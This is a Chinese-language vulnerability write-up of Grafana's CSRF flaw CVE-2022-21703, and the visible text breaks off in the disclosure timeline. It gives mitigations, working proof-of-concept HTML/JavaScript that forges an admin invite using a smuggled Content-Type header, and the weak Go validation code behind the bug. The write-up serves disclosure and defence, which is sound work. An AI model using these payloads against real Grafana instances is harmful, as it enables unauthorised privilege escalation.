Grafana跨站请求伪造漏洞(CVE-2022-21703)深度分析

本文详细分析了Grafana中存在的跨站请求伪造漏洞CVE-2022-21703,包括漏洞原理、影响范围、利用条件和修复方案,并提供了完整的概念验证代码和根本原因分析。

CVE-2022-21703:针对Grafana的跨站请求伪造攻击

本文是关于CVE-2022-21703的详细分析报告,这是漏洞赏金猎人abrahack与我合作研究的成果。如果您正在使用或计划使用Grafana,至少应该阅读以下部分。

CVE-2022-21703概述

关于Grafana

Grafana是一款流行的开源工具,其自我描述如下:

Grafana允许您查询、可视化、告警和理解您的指标,无论它们存储在哪里。与团队创建、探索和分享精美的仪表板,培养数据驱动文化。

Grafana Labs提供托管的Grafana实例,但您也可以将Grafana部署为自托管实例。其流行度的一个指标是,诸如Gitlab和SourceGraph等广泛使用工具的最新版本都内置了Grafana。

核心发现

Grafana(v7.5.15之前版本,以及v8.3.5之前的v8.x.x版本)存在跨站请求伪造漏洞。Grafana HTTP API的所有基于GET和POST的端点都受到影响。

通过利用某些同站漏洞,匿名攻击者可以诱骗经过身份验证的高权限Grafana用户提升攻击者在目标Grafana实例上的权限。配置为允许经过身份验证的仪表板框架嵌入的Grafana实例面临更高的跨站攻击风险。

缓解措施

无论您的情况和缓解方法如何,随后都应该审计您的Grafana实例是否存在可疑活动。了解跨站攻击可能性的攻击者可能已经对您的Grafana实例进行了此类攻击。

更新Grafana

如果可能,请将Grafana实例更新到v7.5.15或v8.3.5。在撰写本文时,我还没有机会审查Grafana的修复程序,但它应该保护您免受CVE-2022-21703的影响,无论您的配置如何。

如果无法更新

如果您无法立即更新Grafana,实现针对CVE-2022-21703的有效保护会更加困难。考虑在反向代理级别阻止所有针对Grafana实例的跨站请求;不过,我意识到这在所有情况下都不可能。

如果为了启用Grafana仪表板的框架嵌入,您偏离了Grafana的默认配置并设置了:

  • cookie_samesite属性为none
  • cookie_secure属性为true

那么您面临的风险会增加,因为攻击可以从任何来源进行(不仅限于同站来源)。在这种情况下,请采取以下措施:

  • 考虑将Grafana实例隐藏在VPN后面
  • 警告您的员工在未来几天可能发生钓鱼攻击
  • 持续监控Grafana实例中的敏感活动(添加高权限用户等)

如果您将cookie_samesite属性设置为disabled,请警告您的Grafana用户避免使用尚未默认将SameSite cookie属性设置为Lax的浏览器(最明显的是Safari);优先使用基于Chromium的浏览器或Firefox。

如果cookie_samesite属性设置为lax(默认)或strict,您应该仔细检查子域的安全性。排除所有与Grafana实例所在Web来源同站的Web来源上存在跨站脚本(XSS)或子域名接管的可能性。

更多细节

研究起源

受到最近在Grafana中发现的漏洞的启发,特别是Justin Gardner的完全读取SSRF(CVE-2021-13379)和Jordy Versmissen的路径遍历(CVE-2021-43798),我们决定在这个流行的可视化工具中寻找迄今为止被忽视的安全漏洞。

我们应该首先在哪里寻找?几位有影响力的信息安全人物(最著名的是Troy Hunt)很快宣布跨站请求伪造(CSRF)已经死亡,因为Chromium和Firefox都开始默认将SameSite cookie属性的值设置为Lax。然而,根据我的经验,这种宣布充其量只是一种近似;最坏的情况下,是一种欺骗性和有害的夸大。

特别是,术语"site"最近经历的含义变化使关于跨站攻击的讨论变得复杂。在创造"跨站请求伪造"这个术语的时代,“site"并没有现在享有的更精确含义。CSRF是一个总称,指所有从不同Web来源发起的改变状态的请求伪造攻击。许多从业者仍然以这种方式使用CSRF,经常忽略提到SameSite cookie属性仅作为深度防御机制,并且对跨站同站攻击无能为力。

另一个经常混淆的来源是跨站资源共享(CORS),这是一种选择性放宽同源策略某些限制的协议。许多开发人员 notoriously 对CORS没有牢固的掌握,关于该协议的错误假设为更精明的攻击者进行跨站滥用提供了素材。

这些关于SameSite和CORS的考虑自然引导我们仔细检查Grafana对跨站攻击的防御。

概念验证

以下概念验证证明,通过对使用默认配置的Grafana实例发起同站攻击,攻击者可以诱骗Grafana管理员邀请攻击者作为组织管理员。

  1. 在Docker中运行Grafana Enterprise(<= v8.3.4)的本地实例;在这种情况下,我将其绑定到端口3000:

    1
    
    docker run -d -p 3000:3000 grafana/grafana-enterprise:8.3.2
    
  2. 作为受害者,访问http://localhost:3000/login并以Grafana管理员(admin)身份使用默认密码(admin)进行身份验证。Grafana将提示您重置密码;您可以安全地跳过此步骤。

  3. 您现在应该以Grafana管理员身份登录。访问http://localhost:3000/org/users;在此阶段,该页面上应该没有列出待处理的用户邀请。

  4. 将以下恶意代码片段保存到名为index.html的文件中:

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    
    <!doctype html>
    <html>
      <head>
        <meta charset="utf-8">
      </head>
      <body>
        <script>
          function csrf(name, email) {
            const url = "http://localhost:3000/api/org/invites";
            const data = {
              "name": name,
              "loginOrEmail": email,
              "role": "Admin",
              "sendEmail": false
            };
            const opts = {
              method: "POST",
              mode: "no-cors",
              credentials: "include",
              headers: {"Content-Type": "text/plain; json"},
              body: JSON.stringify(data)
            };
            fetch(url, opts);
          }
          csrf("attacker", "attacker@example.com");
        </script>
      </body>
    </html>
    
  5. 作为受害者,在同一浏览器中打开index.html文件。观察到页面向http://localhost:3000/api/org/invites发出请求,该请求不携带grafana_session cookie,因为发出来源(null)与目标来源(http://localhost:3000)不是同站。因此,服务器响应401 Unauthorized,攻击失败。

  6. 现在在localhost上的不同端口(此处为8081)绑定HTTP服务器以提供相同的恶意页面。如果您的机器上安装了Go,您可以将以下代码片段保存到名为main.go的文件中(与index.html在同一文件夹):

    1
    2
    3
    4
    5
    6
    7
    8
    
    package main
    
    import "net/http"
    
    func main() {
      http.Handle("/", http.FileServer(http.Dir(".")))
      http.ListenAndServe(":8081", nil)
    }
    

    然后通过运行启动该服务器:

    1
    
    go run main.go
    
  7. 作为受害者,访问http://localhost:8081。观察到这次(与此PoC的第5步相反),向http://localhost:3000/api/org/invites的伪造请求确实携带了grafana_session cookie,因为发出来源(http://localhost:8081)与目标来源(http://localhost:3000)是同站。服务器响应200 OK,表明攻击成功。

  8. 通过重新访问http://localhost:3000/org/users确认攻击成功;现在应该有一个新的攻击者待处理用户邀请。

不相信?

这个本地概念验证可能不足以让您相信攻击在更现实场景中的可行性。在这种情况下,请遵循相同的步骤,但是:

  • 将Grafana部署到您控制的安全来源(例如https://grafana.example.com),并且
  • 将恶意页面部署到某个同站来源(例如https://attack.example.com)。

根本原因分析

针对Grafana的跨站请求伪造可能性主要源于对SameSite cookie属性的过度依赖、弱内容类型验证以及关于CORS的错误假设。

SameSite及其局限性

任何针对Grafana API的伪造请求都需要经过身份验证才能有用。对攻击者来说不幸的是,Grafana自v6.0以来一直明确将其grafana_session cookie标记为SameSite=Lax(默认)。因此,攻击者伪造的请求只有在满足以下两个条件之一时才会携带grafana_session cookie:

  1. 是顶级导航,或
  2. 是同站请求

第一个条件将攻击者限制在GET请求。Grafana的HTTP API确实具有一些基于GET的改变状态的端点(例如/logout),但它们的影响通常太低,对攻击者来说不感兴趣。

您可能认为第二个条件要求很高。如果您这样认为,您会对组织数量之多感到惊讶——即使是有活跃漏洞赏金计划的组织——它们对某些XSS漏洞或潜在的子域名接管在某个晦涩(可能超出范围)的子域名上相当满意。我们在研究期间确定了多个这样的漏洞赏金目标,我们当然不能声称已经穷尽……

此外,一些Grafana管理员可能选择放宽Grafana的默认SameSite值,并通过设置以下配置来配置其实例以允许经过身份验证的仪表板的框架嵌入:

  • allow_embedding属性为true
  • cookie_samesite属性为none
  • cookie_secure属性为true

这样的Grafana实例容易受到传统的CSRF攻击。攻击者的恶意页面确实可以托管在任何来源上,因为所有对Grafana API的请求都将携带宝贵的身份验证cookie,无论请求的发出来源如何。

最后,一些Grafana管理员可能选择将cookie_samesite属性设置为disabled,以便在设置身份验证cookie时省略SameSite属性。在此类Grafana实例上进行身份验证的Safari用户也面临CSRF风险,因为Safari仍然默认将SameSite属性设置为None。

有趣的是,Grafana开发人员似乎意识到SameSite单独提供对跨站攻击的保护不足。在v6.0发布之后,他们实际上打开了一个拉取请求,试图添加反CSRF令牌,但后来又改变了方向,最终放弃了该PR,反对后来评论中有充分根据的反对意见。

绕过内容类型验证和避免CORS预检

我们最初针对Grafana的跨站请求伪造尝试涉及自动提交的HTML表单:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <form action="http://localhost:3000/api/org/invites" method="POST">
      <input name="name" value="attacker">
      <input name="loginOrEmail" value="attacker@example.com">
      <input name="role" value="Admin">
      <input name="sendEmail" value="false">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

此表单提交导致422 Unprocessable Entity,具有以下JSON正文:

1
2
3
4
5
[{
  "fieldNames": ["LoginOrEmail"],
  "classification": "RequiredError",
  "message":"Required"
}]

这个错误消息让我们有些困惑,因为loginOrEmail字段存在于我们伪造请求的正文中。使用multipart/form-data覆盖表单的默认enctype会产生相同的响应。然而,text/plain的enctype产生了415 Unsupported Media Type。有趣……这是Grafana API只接受JSON请求的迹象吗?

我们黑盒测试的下一步涉及使用Fetch API发出具有有效JSON正文的简单请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

相应的响应与基于文本/纯文本的表单攻击一样,是415不支持的媒体类型。显然,Grafana API正在对请求的内容类型进行一些验证。

为了确认我们的直觉,我们将以下代码——注意第13行——粘贴到我们已通过Grafana身份验证的浏览器窗口的控制台选项卡中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
function csrf(name, email) {
  const url = "http://localhost:3000/api/org/invites";
  const data = {
    "name": name,
    "loginOrEmail": email,
    "role": "Admin",
    "sendEmail": false
  };
  const opts = {
    method: "POST",
    mode: "no-cors",
    credentials: "include",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify(data)
  };
  fetch(url, opts);
}
csrf("attacker", "attacker@example.com");

响应是200 OK,我们的心沉了下去……这个响应证实了我们的怀疑,即API期望的内容类型是application/json,或者至少是类似的东西。因为我们在Grafana实例的Web来源的上下文中执行攻击,所以攻击成功了,但我们知道如果从不同的(即使是同站)来源执行相同的攻击,事情就不会那么简单。

为什么?因为根据Fetch标准,跨站请求的内容类型值为application/json确实会导致浏览器触发CORS预检;而Grafana,令其一些用户懊恼的是,没有配置或可配置CORS。因此,CORS预检会失败,浏览器永远不会发送实际的(恶意)请求。

我们似乎碰壁了……但还有最后一线希望!您可能读过,在请求中包含值不是以下之一的内容类型标头将触发CORS预检:

  • application/x-www-form-urlencoded
  • multipart/form-data
  • text/plain

事实上,直到最近,像MDN Web Docs这样的权威来源还如此声明。多年来,这种说法在网络上被逐字重复,包括在Stack Overflow上一些高度赞成的答案中。然而,这种说法是不正确的;Fetch标准只要求指定为请求内容类型的MIME类型的本质是这三个值之一。

一个鲜为人知的事实是,您实际上可以在MIME类型的参数中走私额外的东西,而不会触发CORS预检。如果服务器的内容类型验证碰巧很弱,攻击者可以使用这种走私技巧来绕过它。

我们交叉手指,修改了我们的同站攻击并实现了这个技巧(见第20行):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!doctype html>
<html>
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <script>
      function csrf(name, email) {
        const url = "http://localhost:3000/api/org/invites";
        const data = {
          "name": name,
          "loginOrEmail": email,
          "role": "Admin",
          "sendEmail": false
        };
        const opts = {
          method: "POST",
          mode: "no-cors",
          credentials: "include",
          headers: {"Content-Type": "text/plain; application/json"},
          body: JSON.stringify(data)
        };
        fetch(url, opts);
      }
      csrf("attacker", "attacker@example.com");
    </script>
  </body>
</html>

我们得到了200 OK响应,并且/org/users页面列出了以攻击者名义的新邀请!成功!

在向Grafana报告我们的发现之前,我们决定更深入地挖掘并检查Grafana的代码库,以了解到底发生了什么。Grafana,直到v8.3.2,都依赖go-macaron/binding来处理请求。以下是相关函数,名为bind:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
func bind(ctx *macaron.Context, obj interface{}, ifacePtr ...interface{}) {
  contentType := ctx.Req.Header.Get("Content-Type")
  if ctx.Req.Method == "POST" || ctx.Req.Method == "PUT" || len(contentType) > 0 {
    switch {
    case strings.Contains(contentType, "form-urlencoded"):
      ctx.Invoke(Form(obj, ifacePtr...))
    case strings.Contains(contentType, "multipart/form-data"):
      ctx.Invoke(MultipartForm(obj, ifacePtr...))
    case strings.Contains(contentType, "json"):
      ctx.Invoke(Json(obj, ifacePtr...))
    default:
      var errors Errors
      if contentType == "" {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Empty Content-Type")
      } else {
        errors.Add([]string{}, ERR_CONTENT_TYPE, "Unsupported Content-Type")
      }
      ctx.Map(errors)
      ctx.Map(obj) // Map a fake struct so handler won't panic.
    }
  } else {
    ctx.Invoke(Form(obj, ifacePtr...))
  }
}

观察(在第9-10行)到内容类型仅包含字符串json的请求被接受,并且请求正文的JSON反序列化正常进行。Go开发人员,如果您需要验证Content-Type标头,请优先使用更专业的mime.ParseMediaType函数,而不是strings.Contains和朋友!

注意:Grafana v8.3.3实际上从其代码库中完全删除了go-macaron/binding,并且不执行任何请求内容类型的验证。对攻击者来说更容易了!

时间线

  • 2021年11月:开始与abrahack合作
  • 2021年12月下旬:第一个针对Grafana的跨站请求伪造的工作概念验证
  • 2022年1月初:我们研究攻击对漏洞赏金目标的可行性
  • 2022年1月18日:
    • 我们与Grafana Labs分享我们的发现
    • 我们在HackerOne上向Gitlab的漏洞赏金计划提交报告
    • Grafana Labs确认我们的报告,并 kindly 要求我们在他们有修复程序之前不要披露我们的发现
  • 2022年1
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计